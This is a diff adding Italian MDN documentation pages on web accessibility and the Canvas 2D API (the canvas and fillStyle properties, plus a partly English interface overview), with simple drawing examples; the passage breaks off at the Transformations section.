+<p><span class="seoSummary">L'accessibilità nello sviluppo web indica il fatto di permettere a quante più persone possibile l'utilizzo dei siti web, <span class="seoSummary">anche se le capacità di quelle persone sono in qualche modo limitate</span>. In questo articolo vengono riportate alcune informazioni sullo sviluppo di contenuti accessibili</span>.</p>
+
+<p>"Il termine 'accessibile' è più spesso utilizzato per descrivere strutture o servizi per l'assistenza delle persone disabili, ad esempio una struttura 'accessibile alle sedie a rotelle'. Tuttavia questa definizione può essere estesa alla scrittura Braille, ai segnali audio sugli attraversamenti pedonali, alle rampe per sedie a rotelle, al design dei siti web, ecc." <a class="external" href="http://en.wikipedia.org/wiki/Accessibility">Articolo di Wikipedia sull'accessibilità</a></p>
+
+<p>"<strong>Fondamentalmente, il Web è progettato per funzionare per tutti</strong>, indipendentemente dall'hardware o dal software utilizzati, dalla lingua, dalla cultura, dalla posizione geografica o dalle capacità fisiche e mentali. Quando il Web raggiunge questo scopo, è accessibile alle persone con diverse capacità di udito, movimento, vista e abilità cognitive." <a href="http://www.w3.org/standards/webdesign/accessibility" title="http://www.w3.org/standards/webdesign/accessibility">W3C - Accessibility</a></p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Documentazione</h2>
+
+<p>L'<a href="/it/docs/Learn/Accessibilità">Area di Apprendimento dell'Accessibilità</a> di Mozilla Developer Network contiene guide aggiornate che spiegano gli elementi essenziali dell'accessibilità:</p>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/Learn/Accessibilit%C3%A0/Cosa_%C3%A8_accessibilit%C3%A0">Cos'è l'accessibilità?</a></dt>
+ <dd>Questo articolo inaugura il modulo con una visione generale di cosa è realmente l'accessibilità. Sono inclusi argomenti come: quali gruppi di persone dobbiamo tenere in considerazione e perché, quali strumenti di supporto le persone usano per interagire con la rete, e come possiamo rendere l'accessibilità parte integrante del nostro processo di sviluppo web</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Learn/Accessibilit%C3%A0/HTML_accessibilit%C3%A0">HTML: una buona base per l'accessibilità</a></dt>
+ <dd>Buona parte del contenuto di un sito può essere reso accessibile semplicemente facendo attenzione ad usare sempre nella maniera corretta gli elementi HTML più opportuni per le funzionalità che si vogliono implementare. Questo articolo analizza in dettaglio come il linguaggio HTML può essere usato al meglio per garantire la massima accessibilità.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Learn/Accessibilit%C3%A0/CSS_e_JavaScript_accessibilit%C3%A0">Linee guida di accessibiltà per CSS e JavaScript</a></dt>
+ <dd>CSS e JavaScript, quando utilizzati propriamente, possono contribuire ad offrire una esperienza accessibile della rete. Se invece vengono utilizzati in maniera incorretta possono causare una drastica riduzione dell'accessibilità. Questo articolo riporta alcune linee guida per l'utilizzo di CSS e JavaScript che devono essere tenute in considerazione per permettere a contenuti anche molto complessi di avere il più alto grado di accessibilità possibile.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Learn/Accessibilit%C3%A0/WAI-ARIA_basics">Basi della tecnologia WAI-ARIA</a></dt>
+ <dd>Proseguendo i temi trattati nell'articolo precedente, può risultare complicato creare elementi di interfaccia utente accessibili quando gli stessi si basano su HTML non semantico e presentano contenuto aggiornato dinamicamente tramite JavaScript. La tecnologia WAI-ARIA può essere d'aiuto aggiungendo valore semantico addizionale, che i browser e le tecnologie assistive possono riconoscere e utilizzare per permettere agli utenti di decifrare più chiaramente il contesto e ciò che sta accadendo durante la navigazione del sito. In questo articolo vedremo come usare questa tecnologia a un livello basico per migliorare l'accessibilità.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Learn/Accessibilit%C3%A0/Multimedia">Accessibilità multimediale</a></dt>
+ <dd>
+ <p>Un'altra categoria di contenuti che possono dare problemi di accessibilità sono gli elementi multimediali: audio, video e immagini devono sempre essere associati ad adeguate alternative testuali, di modo che possano essere interpretati correttamente dalle tecnologie assistive e dagli utenti che ne fanno uso. Questo articolo spiega come gestire l'accessibilità di questo tipo di contenuti.</p>
+ </dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Learn/Accessibilit%C3%A0/Accessibilit%C3%A0_dispositivi_mobili">Accessibilità per dispositivi mobili</a></dt>
+ <dd>L'uso di internet su dispositivi mobili è sempre più diffuso, e le principali piattaforme come iOS e Android sono dotate di numerosi strumenti per garantire l'accessibilità. È dunque importante prendere in considerazione l'accessibilità del tuo contenuto web su tali piattaforme. Questo articolo propone considerazioni sull'accessibilità specificamente pensate per dispositivi mobili</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/docs/tag/Accessibilità" title="/en-US/docs/tag/Accessibility">Vedi tutti gli articoli sull'Accessibilità...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Tools" id="Tools" name="Tools">Strumenti per gli sviluppatori Web</h2>
+
+<ul>
+ <li><a class="external" href="http://www-archive.mozilla.org/quality/embed/plans/accessibility/nsIAccessibleTestPlan.html" title="http://www-archive.mozilla.org/quality/embed/plans/accessibility/nsIAccessibleTestPlan.html">Test di accessibilità automatizzati</a></li>
+ <li><a class="external" href="http://www.standards-schmandards.com/index.php?show/fangs">Emulatore del lettore di schermo Fangs</a></li>
+</ul>
+
+<p><span class="alllinks"><a href="/docs/tag/Accessibility:Tools" title="en-US/docs/tag/Accessibility:Tools">Vedi tutti...</a></span></p>
+
+<h2 class="Tools" id="Tools" name="Tools">Altri siti utili</h2>
+
+<ul>
+ <li><a class="external" href="https://support.mozilla.org/kb/accessibility-features-firefox-make-firefox-and-we">Elenco di lettori di schermo</a></li>
+</ul>
+</div>
+</div>
diff --git a/files/it/web/accessibility/sviluppo_web/index.html b/files/it/web/accessibility/sviluppo_web/index.html
new file mode 100644
index 0000000000..6388da389a
--- /dev/null
+++ b/files/it/web/accessibility/sviluppo_web/index.html
@@ -0,0 +1,66 @@
+---
+title: Sviluppo Web
+slug: Web/Accessibility/Sviluppo_Web
+translation_of: Web/Accessibility
+---
+<p> </p>
+<table>
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">
+    <h2 id="Accessibilità_Web">Accessibilità Web</h2>
+    <dl>
+     <dt>
+      <a href="/docs/Accessibility/ARIA" title="http://developer.mozilla.org/en-US/docs/Accessibility/ARIA">ARIA per sviluppatori</a></dt>
+    </dl>
+    <dl>
+     <dd style="">
+      ARIA rende possibile la creazione di contenuto HTML dinamico accessibile. Ad esempio, regioni di contenuto attivo e widget JavaScript.</dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="/Accessibility/Keyboard-navigable_JavaScript_widgets" title="en/Accessibility/Keyboard-navigable JavaScript widgets">Widget JavaScript navigabili da tastiera</a></dt>
+     <dd>
+      Fino ad ora, gli sviluppatori che volevano rendere i propri widget basati su &lt;div&gt; e &lt;span&gt; accessibili tramite tastiera mancavano della tecnica adatta. L'usabilità da tastiera è parte dei requisiti minimi di accessibilità di cui ogni sviluppatore dovrebbe essere a conoscenza.</dd>
+    </dl>
+    <h2 id="Accessibilità_di_XUL">Accessibilità di XUL</h2>
+    <dl>
+     <dt>
+       </dt>
+     <dt>
+      <a href="/docs/Building_accessible_custom_components_in_XUL" title="en/Building_accessible_custom_components_in_XUL">Sviluppare componenti personalizzati accessibili con XUL</a></dt>
+     <dd>
+      Come usare tecniche di accessibilità in DHTML per rendere accessibili i propri componenti XUL personalizzati.</dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="/docs/XUL_accessibility_guidelines" title="en/XUL_accessibility_guidelines">Linee guida alla creazione di XUL accessibile</a></dt>
+     <dd>
+      Quando viene utilizzato secondo queste linee guida, XUL è in grado di generare interfacce utente accessibili. Sviluppatori, revisori, designer e ingegneri del controllo qualità devono avere familiarità con queste linee guida.</dd>
+    </dl>
+    <dl>
+    </dl>
+    <dl>
+    </dl>
+   </td>
+   <td style="vertical-align: top;">
+    <h2 id="Risorse_esterne">Risorse esterne</h2>
+    <dl>
+     <dt>
+      <a class="external" href="http://diveintoaccessibility.info/">Dive into Accessibility</a></dt>
+    </dl>
+    <dl>
+     <dd>
+      Questo libro risponde a due domande. La prima è "Perché dovrei rendere il mio sito web più accessibile?" La seconda è "Come posso rendere il mio sito più accessibile?"</dd>
+    </dl>
+    <dl>
+     <dt>
+      <a class="external" href="http://www-306.ibm.com/able/guidelines/web/accessweb.html">Accessible Web Page Authoring</a></dt>
+     <dd>
+      Una pratica lista di controllo sull'accessibilità Web, da IBM.</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/it/web/api/canvasrenderingcontext2d/canvas/index.html b/files/it/web/api/canvasrenderingcontext2d/canvas/index.html
new file mode 100644
index 0000000000..bb453e4419
--- /dev/null
+++ b/files/it/web/api/canvasrenderingcontext2d/canvas/index.html
@@ -0,0 +1,101 @@
+---
+title: CanvasRenderingContext2D.canvas
+slug: Web/API/CanvasRenderingContext2D/canvas
+translation_of: Web/API/CanvasRenderingContext2D/canvas
+---
+<div>{{APIRef}}</div>
+
+<p>La proprietà <code><strong>CanvasRenderingContext2D</strong></code><strong><code><span>.canvas</span></code></strong> è un riferimento di sola lettura verso il canvas {{domxref("HTMLCanvasElement")}} che contiene il <code>context</code> corrente. Può essere {{jsxref("null")}} se non vi è un elemento {{HTMLElement("canvas")}} associato.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em></var>.canvas;</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Dato il seguente elmento  {{HTMLElement("canvas")}}:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>È possibile ottenere un riferimento all'elemento canvas da cui è ottenuto questo <code>CanvasRenderingContext2D </code>utilizzando la property <code>canvas:</code></p>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.canvas // HTMLCanvasElement
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-canvas", "CanvasRenderingContext2D.canvas")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">Vedi anche</h2>
+
+<ul>
+ <li>L'interfaccia che la definisce, {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/it/web/api/canvasrenderingcontext2d/fillstyle/index.html b/files/it/web/api/canvasrenderingcontext2d/fillstyle/index.html
new file mode 100644
index 0000000000..2f905a5241
--- /dev/null
+++ b/files/it/web/api/canvasrenderingcontext2d/fillstyle/index.html
@@ -0,0 +1,209 @@
+---
+title: CanvasRenderingContext2D.fillStyle
+slug: Web/API/CanvasRenderingContext2D/fillStyle
+tags:
+  - API
+  - CamvasRenderingContext2D
+  - Canvas
+  - Proprietà
+  - Riferimento
+translation_of: Web/API/CanvasRenderingContext2D/fillStyle
+---
+<div>{{APIRef}}</div>
+
+<p>La proprietà <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillStyle</code></strong> delle Canvas 2D API specifica il colore o lo stile da usare all'interno delle forme. Il colore preimpostato è <code>#000</code> (nero).</p>
+
+<p>Vedi anche i capitoli <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applicare stili e colori</a> nel <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.fillStyle = color;
+</var><var><em>ctx</em>.fillStyle = gradient;
+</var><var><em>ctx</em>.fillStyle = pattern;</var>
+</pre>
+
+<h3 id="Opzioni">Opzioni</h3>
+
+<dl>
+ <dt><code>color</code></dt>
+ <dd>Una {{domxref("DOMString")}} letta come valore CSS {{cssxref("&lt;color&gt;")}}.</dd>
+ <dt><code>gradient</code></dt>
+ <dd>Un oggetto {{domxref("CanvasGradient")}} (gradiente lineare o radiale).</dd>
+ <dt><code>pattern</code></dt>
+ <dd>Un oggetto {{domxref("CanvasPattern")}} (immagine ripetuta).</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Using_the_fillStyle_property" name="Using_the_fillStyle_property">Usare la proprietà <code>fillStyle</code> per impostare un colore diverso</h3>
+
+<p>In questa semplice porzione di codice viene usata la proprietù <code>fillStyle</code> per impostare un colore diverso.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.fillStyle = "blue";
+ctx.fillRect(10, 10, 100, 100);
+</pre>
+
+<p>Modifica il codice qui sotto e vedi i cambiamenti in tempo reale nel canvas:</p>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.fillStyle = "blue";
+ctx.fillRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h3 id="Un_esempio_di_fillStyle_con_i_cicli_for">Un esempio di <code>fillStyle</code> con i cicli for</h3>
+
+<p>In questo esempio, useremo due cicli <code>for </code>per disegnare una griglia di rettangoli, ognuno di un colore differente. Il risultato finale dovrebbe assomigliare allo screenshot. Niente di particolarmente spettacolare. Usiamo due variabili <code>i</code> e <code>j</code> per generare un colore RGB unico per ogni quadrato, questo modificando soltanto i valori del rosso e del verde. Il canale del blu ha un valore fisso. Modificando i canali, puoi generare ogni tipo di palette. Aumentando le ripetizioni del ciclo, puoi ottenere qualcosa di assomigliante alle palette usate da Photoshop.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">var ctx = document.getElementById('canvas').getContext('2d');
+for (var i=0;i&lt;6;i++){
+  for (var j=0;j&lt;6;j++){
+    ctx.fillStyle = 'rgb(' + Math.floor(255-42.5*i) + ',' +
+                     Math.floor(255-42.5*j) + ',0)';
+    ctx.fillRect(j*25,i*25,25,25);
+  }
+}
+</pre>
+
+<p>Il risultato assomiglia a questo:</p>
+
+<p>{{EmbedLiveSample("Un_esempio_di_fillStyle_con_i_cicli_for", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillstyle", "CanvasRenderingContext2D.fillStyle")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_Browser">Compatibilità dei Browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="WebKitBlink_note_specifiche">WebKit/Blink note specifiche</h2>
+
+<ul>
+ <li>Nei browser basati su WebKit e Blink, un metodo non standard e deprecato <code>ctx.setFillColor()</code> è implementato oltre a queste proprietà.
+
+  <pre class="brush: js">setFillColor(color, optional alpha);
+setFillColor(grayLevel, optional alpha);
+setFillColor(r, g, b, a);
+setFillColor(c, m, y, k, a);
+</pre>
+ </li>
+</ul>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Come definire l'interfaccia, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+</ul>
diff --git a/files/it/web/api/canvasrenderingcontext2d/index.html b/files/it/web/api/canvasrenderingcontext2d/index.html
new file mode 100644
index 0000000000..e6b2eb7167
--- /dev/null
+++ b/files/it/web/api/canvasrenderingcontext2d/index.html
@@ -0,0 +1,448 @@
+---
+title: CanvasRenderingContext2D
+slug: Web/API/CanvasRenderingContext2D
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Games
+  - Graphics
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/CanvasRenderingContext2D
+---
+<div>{{APIRef}}</div>
+
+The <code><strong>CanvasRenderingContext2D</strong></code> interface provides the 2D rendering context for the drawing surface of a {{ HTMLElement("canvas") }} element.
+
+<p>To get an object of this interface, call {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} on a <code>&lt;canvas&gt;</code>, supplying "2d" as the argument:</p>
+
+<pre class="brush: js">var canvas = document.getElementById('mycanvas');
+var ctx = canvas.getContext('2d');
+</pre>
+
+<p>Once you have the 2D rendering context for a canvas, you can draw within it. For example:</p>
+
+<pre class="brush: js">ctx.fillStyle = "rgb(200,0,0)";
+ctx.fillRect(10, 10, 55, 50);
+</pre>
+
+<p>See the properties and methods in the sidebar and below. The <a href="/en-US/docs/Web/API/Canvas_API/Tutorial" title="Canvas tutorial">canvas tutorial</a> has more information, examples, and resources as well.</p>
+
+<h2 id="Drawing_rectangles">Drawing rectangles</h2>
+
+<p>There are three methods that immediately draw rectangles to the bitmap.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.clearRect()")}}</dt>
+ <dd>Sets all pixels in the rectangle defined by starting point <em>(x, y)</em> and size <em>(width, height)</em> to transparent black, erasing any previously drawn content.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.fillRect()")}}</dt>
+ <dd>Draws a filled rectangle at <em>(x, y) </em>position whose size is determined by <em>width</em> and <em>height</em>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</dt>
+ <dd>Paints a rectangle which has a starting point at <em>(x, y)</em> and has a<em> w</em> width and an <em>h</em> height onto the canvas, using the current stroke style.</dd>
+</dl>
+
+<h2 id="Drawing_text">Drawing text</h2>
+
+<p>The following methods are provided for drawing text. See also the {{domxref("TextMetrics")}} object for text properties.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillText()")}}</dt>
+ <dd>Draws (fills) a given text at the given (x,y) position.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeText()")}}</dt>
+ <dd>Draws (strokes) a given text at the given <em>(x, y) </em>position.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.measureText()")}}</dt>
+ <dd>Returns a {{domxref("TextMetrics")}} object.</dd>
+</dl>
+
+<h2 id="Line_styles">Line styles</h2>
+
+<p>The following methods and properties control how lines are drawn.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineWidth")}}</dt>
+ <dd>Width of lines. Default <code>1.0</code></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineCap")}}</dt>
+ <dd>Type of endings on the end of lines. Possible values: <code>butt</code> (default), <code>round</code>, <code>square</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineJoin")}}</dt>
+ <dd>Defines the type of corners where two lines meet. Possible values: <code>round</code>, <code>bevel</code>, <code>miter</code> (default).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.miterLimit")}}</dt>
+ <dd>Miter limit ratio. Default <code>10</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getLineDash()")}}</dt>
+ <dd>Returns the current line dash pattern array containing an even number of non-negative numbers.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setLineDash()")}}</dt>
+ <dd>Sets the current line dash pattern.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset")}}</dt>
+ <dd>Specifies where to start a dash array on a line.</dd>
+</dl>
+
+<h2 id="Text_styles">Text styles</h2>
+
+<p>The following properties control how text is laid out.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.font")}}</dt>
+ <dd>Font setting. Default value <code>10px sans-serif</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textAlign")}}</dt>
+ <dd>Text alignment setting. Possible values: <code>start</code> (default), <code>end</code>, <code>left</code>, <code>right</code> or <code>center</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textBaseline")}}</dt>
+ <dd>Baseline alignment setting. Possible values: <code>top</code>, <code>hanging</code>, <code>middle</code>, <code>alphabetic</code> (default), <code>ideographic</code>, <code>bottom</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.direction")}}</dt>
+ <dd>Directionality. Possible values: <code>ltr, rtl</code>, <code>inherit</code> (default).</dd>
+</dl>
+
+<h2 id="Fill_and_stroke_styles">Fill and stroke styles</h2>
+
+<p>Fill styling is used for colors and styles inside shapes and stroke styling is used for the lines around shapes.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillStyle")}}</dt>
+ <dd>Color or style to use inside shapes. Default <code>#000</code> (black).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeStyle")}}</dt>
+ <dd>Color or style to use for the lines around shapes. Default <code>#000</code> (black).</dd>
+</dl>
+
+<h2 id="Gradients_and_patterns">Gradients and patterns</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createLinearGradient()")}}</dt>
+ <dd>Creates a linear gradient along the line given by the coordinates represented by the parameters.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createRadialGradient()")}}</dt>
+ <dd>Creates a radial gradient along the line given by the coordinates represented by the parameters.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createPattern()")}}</dt>
+ <dd>Creates a pattern using the specified image (a {{domxref("CanvasImageSource")}}). It repeats the source in the directions specified by the repetition argument. This method returns a {{domxref("CanvasPattern")}}.</dd>
+</dl>
+
+<h2 id="Shadows">Shadows</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowBlur")}}</dt>
+ <dd>Specifies the blurring effect. Default <code>0</code></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowColor")}}</dt>
+ <dd>Color of the shadow. Default fully-transparent black.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetX")}}</dt>
+ <dd>Horizontal distance the shadow will be offset. Default 0.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetY")}}</dt>
+ <dd>Vertical distance the shadow will be offset. Default 0.</dd>
+</dl>
+
+<h2 id="Paths">Paths</h2>
+
+<p>The following methods can be used to manipulate paths of objects.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.beginPath()")}}</dt>
+ <dd>Starts a new path by emptying the list of sub-paths. Call this method when you want to create a new path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.closePath()")}}</dt>
+ <dd>Causes the point of the pen to move back to the start of the current sub-path. It tries to draw a straight line from the current point to the start. If the shape has already been closed or has only one point, this function does nothing.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.moveTo()")}}</dt>
+ <dd>Moves the starting point of a new sub-path to the <strong>(x, y)</strong> coordinates.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineTo()")}}</dt>
+ <dd>Connects the last point in the subpath to the <code>x, y</code> coordinates with a straight line.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo()")}}</dt>
+ <dd>Adds a cubic Bézier curve to the path. It requires three points. The first two points are control points and the third one is the end point. The starting point is the last point in the current path, which can be changed using <code>moveTo()</code> before creating the Bézier curve.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.quadraticCurveTo()")}}</dt>
+ <dd>Adds a quadratic Bézier curve to the current path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arc()")}}</dt>
+ <dd>Adds an arc to the path which is centered at <em>(x, y)</em> position with radius<em> r</em> starting at <em>startAngle</em> and ending at <em>endAngle</em> going in the given direction by <em>anticlockwise</em> (defaulting to clockwise).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arcTo()")}}</dt>
+ <dd>Adds an arc to the path with the given control points and radius, connected to the previous point by a straight line.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.ellipse()")}} {{experimental_inline}}</dt>
+ <dd>Adds an ellipse to the path which is centered at <em>(x, y)</em> position with the radii <em>radiusX</em> and <em>radiusY</em> starting at <em>startAngle</em> and ending at <em>endAngle</em> going in the given direction by <em>anticlockwise</em> (defaulting to clockwise).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.rect()")}}</dt>
+ <dd>Creates a path for a rectangle at<em> </em>position <em>(x, y)</em> with a size that is determined by <em>width</em> and <em>height</em>.</dd>
+</dl>
+
+<h2 id="Drawing_paths">Drawing paths</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fill()")}}</dt>
+ <dd>Fills the subpaths with the current fill style.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.stroke()")}}</dt>
+ <dd>Strokes the subpaths with the current stroke style.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}}</dt>
+ <dd>If a given element is focused, this method draws a focus ring around the current path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}}</dt>
+ <dd>Scrolls the current path or a given path into the view.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clip()")}}</dt>
+ <dd>Creates a clipping path from the current sub-paths. Everything drawn after <code>clip()</code> is called appears inside the clipping path only. For an example, see <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Clipping paths">Clipping paths</a> in the Canvas tutorial.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.isPointInPath()")}}</dt>
+ <dd>Reports whether or not the specified point is contained in the current path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.isPointInStroke()")}}</dt>
+ <dd>Reports whether or not the specified point is inside the area contained by the stroking of a path.</dd>
+</dl>
+
+<h2 id="Transformations">Transformations</h2>
+
